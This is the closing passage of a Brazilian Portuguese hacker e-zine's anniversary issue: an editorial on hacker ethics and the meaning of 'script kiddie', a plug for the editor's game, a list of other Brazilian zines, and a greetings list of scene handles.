assuntos como diferencas entre admins e analistas de seguranca, Kevin
Mitnick, etc... porem nenhum dos dois lados cedeu as pregacoes do outro.
Depois de mta reflexao minhas conclusoes sobre este assunto foram:
Nashleon eh um cara que leva tao a serio o hacking que nao suporta
ver pessoas q nao sao hackers na visao dele obterem tal fama seja por
defaces, ou qquer outro meio.
Para ele scriptkiddie eh o kra que usa o hacking para obter fama,
coisa que eu nao concordo, para mim sk eh o kra que usa programas de
terceiros para hackear. Nisso os dois lados tem suas conclusoes
diferentes e segundo ele eu seria um sk pois uso a zine apenas para
obter fama.
Ele prega uma etica a ser seguida para a pessoa ser considerada
hacker, eu no entanto nao sigo sua etica e portanto lhe dou outro
motivo para me considerar um scriptkiddie.
Agora soh para nao deixar vago meu pensamento sobre etica:

Acredito q cada pessoa deve formar sua etica pessoal baseado em sua
experiencia de vida. Quando vc eh crianca, vc faz o q seus pais mandam
pois nao viveu o suficiente criar suas proprias regras. Quando chega a
adolescencia passa a discordar com seus pais pois ja c acha experiente
o suficiente para criticar com as regras q lhe impuseram.
O que eu nao entendo eh como varias pessoas adultas ainda agem como
criancas que precisam que os outros lhes digam o que eh certo e o que
eh errado.
Como o proprio nashleon diz: "
Sejam criticos".
Ser critico nao eh apenas mostrar um ponto de vista diferente sobre
algum assunto em particular. Ser critico eh tem corajem de contrariar
todo um pensamento de vida de uma pessoa ou um grupo, mesmo sabendo das
consequencias. Eu fui apenas critico na edicao passada.
Pra finalizar de vez esse assunto, eu nao estou interessado com isso
mudar o pensamento de ninguem. Apenas mostrei minhas opinioes, nao quero
que amanha o pessoal venha falar q segue a etica fatal3rror ou a etica
struck. Tomem decisoes por si mesmos, nao deixem q eu ou ninguem venha
lhe dizer o que fazer.
Isso ae.









_xXXXP^'' ``^YXXXx_
_xXXXXP~ 16 - E o F ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~

Aki acaba a edicao de 2o aniversario da fatal 3rror.
Qualquer critica a zine ou a seus autores enviem para os
respectivos emails.
Nao esquecam de baixar o Geug em:
http://struck.securitynetworks.com.br/geug
e qquer sugestao, bug, critica, etc q tiverem para o jogo,
mandem um email.

Fazendo agora akela propaganda gratuita...
Pra vc que leu toda essa edicao da f3 mas como ta viciado e tem
que ler mais e mais.... aki vai uma pequena lista de zines brasileiras
que, creio eu, ainda estao na ativa...

* BaitesBrasil
Editor chefe: QuickBasic
Conteudo: Hacking em geral
Download: http://www.baitesbrasil.cjb.net
* I N F O . F O R . A L L
Editor chefe: Morfeu
Conteudo: estritamente linux
Download: http://www.infoforall.cjb.net
* O W N E D B R E - Z I N E
Editor chefe: N3tbug
Conteudo: Hacking em geral
Comentario: As minhas materias publicadas sao originalmente da f3 e
nao tenho nenhuma relacao com esta zine.
Download: http://www.ownedbr.cjb.net
* T H E ^ C Z A R
Editor chefe: C/ROMANO
Conteudo: programacao em C
Download: http://www.geocities.com/czzine
* THIRD EYE ZINE
Editor chefe: TeCnEt
Conteudo: Hacking em geral
Download: http://www.thirdeye.8m.com
* ZINES BR
Editor chefe: Gotoxy
Conteudo: Hacking em geral
Download: http://zinesbr.hpg.com.br

Provavelmente deve ter faltada alguma. Se voce tem uma zine tb e quer
usufluir desta propaganda gratuita, mande um email informando.

Agora vamos aos gr33ts:


^^VENTO^^ Hm...
`pcmcia Ja
alex inventei
appletalk tanta
BEHAEL historia
Bele para
Cacaio esses
Carti caras
chm0d que
Dave Mustaine acabei
Doty ficando
dRo sem
Encripty ideias
flash sobre
hak o
Kamikase Shell q
MidNight colocar
mild7 de
mph engracado
N4rfy aqui...
onlooker ...
pcHazard Nao
psaux consigo
RoadHouse pensar
Slash_DOMI em
snape nada
Source mesmo!
Tate ...
Tinkertrain Ah!!!
TPGA Ja'
Wohnrath sei...


_EoF_

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT